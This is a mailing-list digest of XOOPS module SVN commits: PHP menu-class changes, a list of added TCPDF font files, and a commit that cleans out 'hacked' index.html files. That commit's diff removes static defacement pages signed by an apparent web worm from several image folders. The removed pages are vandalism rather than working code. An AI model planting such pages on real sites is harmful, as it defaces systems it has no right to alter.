+ /*. " AND pid = " . $obj->getVar('pid')*/
+ . " AND mid = " . $obj->getVar('mid')
+ ;
+ $this->db->queryF($sql);
+
+ $sql = "SELECT id FROM " . $this->table
+ . " WHERE mid = " . $obj->getVar('mid')
+ /*. " AND pid = " . $obj->getVar('pid')*/
+ . " ORDER BY weight ASC"
+ ;
+ $result = $this->db->query($sql);
+ $i = 1; //lets start at 1 please!
+ while (list($id) = $this->db->fetchrow($result)) {
+ $sql = "UPDATE " . $this->table
+ . " SET weight = {$i}"
+ . " WHERE id = {$id}"
+ ;
+ $this->db->queryF($sql);
+ $i++;
+ }
+ }
+}
Property changes on: XoopsModules/mymenus/trunk/mymenus/class/links.php
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Author Date Id Rev URL
\ No newline at end of property
Added: svn:eol-style
## -0,0 +1 ##
+native
\ No newline at end of property
Deleted: XoopsModules/mymenus/trunk/mymenus/class/menu.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/menu.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/class/menu.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -1,114 +0,0 @@
-<?php
-/*
- You may not change or alter any portion of this comment or credits
- of supporting developers from this source code or any supporting source code
- which is considered copyrighted (c) material of the original comment or credit authors.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- */
-
-/**
- * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
- * @license http://www.gnu.org/licenses/gpl-2.0.html GNU Public License
- * @package Mymenus
- * @since 1.0
- * @author trabis <lus...@gm...>
- * @version $Id: menu.php 0 2010-07-21 18:47:04Z trabis $
- */
-
-defined("XOOPS_ROOT_PATH") or die("XOOPS root path not defined");
-
-class MymenusMenu extends XoopsObject
-{
- /**
- * constructor
- */
- function __construct()
- {
- $this->initVar('id', XOBJ_DTYPE_INT);
- $this->initVar('pid', XOBJ_DTYPE_INT);
- $this->initVar('mid', XOBJ_DTYPE_INT);
- $this->initVar('title', XOBJ_DTYPE_TXTBOX);
- $this->initVar('alt_title', XOBJ_DTYPE_TXTBOX);
- $this->initVar('visible', XOBJ_DTYPE_INT, 1);
- $this->initVar('link', XOBJ_DTYPE_TXTBOX);
- $this->initVar('weight', XOBJ_DTYPE_INT, 255);
- $this->initVar('target', XOBJ_DTYPE_TXTBOX);
- $this->initVar('groups', XOBJ_DTYPE_ARRAY, serialize(array(XOOPS_GROUP_ANONYMOUS, XOOPS_GROUP_USERS)));
- $this->initVar('hooks', XOBJ_DTYPE_ARRAY, serialize(array()));
- $this->initVar('image', XOBJ_DTYPE_TXTBOX);
- $this->initVar('css', XOBJ_DTYPE_TXTBOX);
- }
-
- function checkAccess()
- {
- $hooks = $this->getHooks();
- $hooks['mymenus'][] = 'checkAccess';
- foreach ($hooks as $hookname => $hook) {
- if (!mymenus_hook($hookname, 'checkAccess', array('menu' => $this))) {
- return false;
- }
- }
-
- return true;
- }
-
- function getHooks()
- {
- $ret = array();
- $data = $this->getVar('hooks', 'n');
- if (!$data) return $ret;
- $lines = explode("\n", $data);
- foreach ($lines as $line) {
- $line = trim($line);
- $line = explode('|', $line);
- $hook = trim($line[0]);
- $method = isset($line[1]) ? trim($line[1]) : '';
- //$info = split(',', trim($line[0]));
- $ret[$hook][] = $method;
- }
- return $ret;
- }
-
-}
-
-class MymenusMenuHandler extends XoopsPersistableObjectHandler
-{
-
- function __construct(&$db)
- {
- parent::__construct($db, 'mymenus_menu', 'MymenusMenu', 'id', 'title');
- }
-
- function update_weights(&$obj)
- {
- $sql = "UPDATE " . $this->table
- . " SET weight = weight+1"
- . " WHERE weight >= " . $obj->getVar('weight')
- . " AND id <> " . $obj->getVar('id')
- /*. " AND pid = " . $obj->getVar('pid')*/
- . " AND mid = " . $obj->getVar('mid')
- ;
- $this->db->queryF($sql);
-
- $sql = "SELECT id FROM " . $this->table
- . " WHERE mid = " . $obj->getVar('mid')
- /*. " AND pid = " . $obj->getVar('pid')*/
- . " ORDER BY weight ASC"
- ;
- $result = $this->db->query($sql);
- $i = 1; //lets start at 1 please!
- while (list($id) = $this->db->fetchrow($result)) {
- $sql = "UPDATE " . $this->table
- . " SET weight = {$i}"
- . " WHERE id = {$id}"
- ;
- $this->db->queryF($sql);
- $i++;
- }
- }
-}
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/class/menus.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/menus.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/class/menus.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -29,6 +29,9 @@
{
$this->initVar("id", XOBJ_DTYPE_INT);
$this->initVar('title', XOBJ_DTYPE_TXTBOX);
+ //
+ $this->initVar('css', XOBJ_DTYPE_TXTBOX);
+ //
}
}
@@ -36,8 +39,6 @@
{
function __construct(&$db)
{
- parent::__construct($db, 'mymenus_menus', 'MymenusMenus', 'id', 'title');
+ parent::__construct($db, 'mymenus_menus', 'MymenusMenus', 'id', 'title', 'css');
}
}
-
-?>
Modified: XoopsModules/mymenus/trunk/mymenus/class/plugin.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/plugin.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/class/plugin.php 2014-02-10 10:21:40 UTC (rev 1...
[truncated message content] |
|
From: <be...@us...> - 2014-02-10 08:34:56
|
Revision: 12299
http://sourceforge.net/p/xoops/svn/12299
Author: beckmi
Date: 2014-02-10 08:34:52 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
replacing hacked index.html files
Modified Paths:
--------------
XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/index.html
XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/thumbs/index.html
XoopsModules26/xoopstube/trunk/xoopstube/images/category/index.html
XoopsModules26/xoopstube/trunk/xoopstube/images/category/thumbs/index.html
XoopsModules26/xoopstube/trunk/xoopstube/images/screenshots/thumbs/index.html
Modified: XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/index.html
===================================================================
--- XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/index.html 2014-02-10 05:58:25 UTC (rev 12298)
+++ XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/index.html 2014-02-10 08:34:52 UTC (rev 12299)
@@ -1,8 +1 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<HTML><HEAD>
-<TITLE>This site is defaced!!!</TITLE>
-</HEAD><BODY bgcolor="#000000" text="#FF0000">
-<H1>This site is defaced!!!</H1>
-<HR>
-<ADDRESS><b>NeverEverNoSanity WebWorm generation 12.</b></ADDRESS>
-</BODY></HTML>
+<script>history.go(-1);</script>
\ No newline at end of file
Modified: XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/thumbs/index.html
===================================================================
--- XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/thumbs/index.html 2014-02-10 05:58:25 UTC (rev 12298)
+++ XoopsModules26/wflinks/trunk/htdocs/modules/wflinks/images/category/thumbs/index.html 2014-02-10 08:34:52 UTC (rev 12299)
@@ -1,8 +1 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<HTML><HEAD>
-<TITLE>This site is defaced!!!</TITLE>
-</HEAD><BODY bgcolor="#000000" text="#FF0000">
-<H1>This site is defaced!!!</H1>
-<HR>
-<ADDRESS><b>NeverEverNoSanity WebWorm generation 12.</b></ADDRESS>
-</BODY></HTML>
+<script>history.go(-1);</script>
\ No newline at end of file
Modified: XoopsModules26/xoopstube/trunk/xoopstube/images/category/index.html
===================================================================
--- XoopsModules26/xoopstube/trunk/xoopstube/images/category/index.html 2014-02-10 05:58:25 UTC (rev 12298)
+++ XoopsModules26/xoopstube/trunk/xoopstube/images/category/index.html 2014-02-10 08:34:52 UTC (rev 12299)
@@ -1,11 +1 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<HTML>
-<HEAD>
- <TITLE>This site is defaced!!!</TITLE>
-</HEAD>
-<BODY bgcolor="#000000" text="#FF0000">
-<H1>This site is defaced!!!</H1>
-<HR>
-<ADDRESS><b>NeverEverNoSanity WebWorm generation 12.</b></ADDRESS>
-</BODY>
-</HTML>
+<script>history.go(-1);</script>
\ No newline at end of file
Modified: XoopsModules26/xoopstube/trunk/xoopstube/images/category/thumbs/index.html
===================================================================
--- XoopsModules26/xoopstube/trunk/xoopstube/images/category/thumbs/index.html 2014-02-10 05:58:25 UTC (rev 12298)
+++ XoopsModules26/xoopstube/trunk/xoopstube/images/category/thumbs/index.html 2014-02-10 08:34:52 UTC (rev 12299)
@@ -1,11 +1 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<HTML>
-<HEAD>
- <TITLE>This site is defaced!!!</TITLE>
-</HEAD>
-<BODY bgcolor="#000000" text="#FF0000">
-<H1>This site is defaced!!!</H1>
-<HR>
-<ADDRESS><b>NeverEverNoSanity WebWorm generation 12.</b></ADDRESS>
-</BODY>
-</HTML>
+<script>history.go(-1);</script>
\ No newline at end of file
Modified: XoopsModules26/xoopstube/trunk/xoopstube/images/screenshots/thumbs/index.html
===================================================================
--- XoopsModules26/xoopstube/trunk/xoopstube/images/screenshots/thumbs/index.html 2014-02-10 05:58:25 UTC (rev 12298)
+++ XoopsModules26/xoopstube/trunk/xoopstube/images/screenshots/thumbs/index.html 2014-02-10 08:34:52 UTC (rev 12299)
@@ -1,11 +1 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<HTML>
-<HEAD>
- <TITLE>This site is defaced!!!</TITLE>
-</HEAD>
-<BODY bgcolor="#000000" text="#FF0000">
-<H1>This site is defaced!!!</H1>
-<HR>
-<ADDRESS><b>NeverEverNoSanity WebWorm generation 12.</b></ADDRESS>
-</BODY>
-</HTML>
+<script>history.go(-1);</script>
\ No newline at end of file
|
|
From: <be...@us...> - 2014-02-10 05:58:32
|
Revision: 12298
http://sourceforge.net/p/xoops/svn/12298
Author: beckmi
Date: 2014-02-10 05:58:25 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
changing folder structure
Added Paths:
-----------
XoopsModules/xhelp/branches/wishcraft/1.12/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/2dbarcodes.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/CHANGELOG.TXT
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/LICENSE.TXT
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/README.TXT
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/barcodes.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/cache/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/cache/chapter_demo_1.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/cache/chapter_demo_2.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/cache/table_data_demo.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/cache/utf8test.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/cn.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/en.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/eng.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/ge.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/ger.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/it.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/lang/ita.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/tcpdf_config.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/config/tcpdf_config_alt.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/classtrees_com-tecnick-tcpdf.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/TCPDF.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/TCPDFBarcode.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/_barcodes.php.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/_config---tcpdf_config.php.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/_htmlcolors.php.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/_tcpdf.php.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/com-tecnick-tcpdf/_unicode_data.php.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/elementindex.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/elementindex_com-tecnick-tcpdf.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/errors.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/li_com-tecnick-tcpdf.html
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/media/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/media/background.png
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/media/empty.png
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/doc/media/style.css
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_001.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_002.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_003.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_004.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_005.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_006.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_007.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_008.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_009.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_010.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_011.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_012.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_013.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_014.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_015.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_016.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_017.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_018.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_019.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_020.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_021.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_022.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_023.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_024.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_025.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_026.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_027.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_028.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_029.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_030.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_031.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_032.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_033.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_034.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_035.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_036.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_037.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_038.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_039.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_040.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_041.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_042.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_043.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_044.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_045.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_046.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_047.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_048.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_049.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_050.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_051.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_052.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_053.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_054.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/example_055.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/examples/index.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/README.TXT
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/ZarBold.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/ZarBold.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/almohanad.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/almohanad.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/almohanad.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/arialunicid0.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/courier.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/AUTHORS
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/BUGS
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/LICENSE
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/NEWS
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/README
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/langcover.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/status.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavu-fonts-ttf-2.30/unicover.txt
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusans.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusans.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusans.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansb.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansb.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansb.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansbi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansbi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansbi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensed.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensed.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensed.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedb.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedb.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedb.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedbi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedbi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedbi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusanscondensedi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmono.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmono.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmono.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonob.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonob.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonob.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonobi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonobi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonobi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonoi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonoi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavusansmonoi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserif.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserif.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserif.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifb.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifb.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifb.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifbi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifbi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifbi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensed.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensed.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensed.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedb.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedb.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedb.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedbi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedbi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedbi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifcondensedi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifi.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifi.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/dejavuserifi.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/AUTHORS
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/COPYING
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/CREDITS
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/ChangeLog
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/INSTALL
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freefont-20090104/README
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemono.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemono.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemono.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemonob.ctg.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemonob.php
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemonob.z
XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/fonts/freemonobi.ctg.z
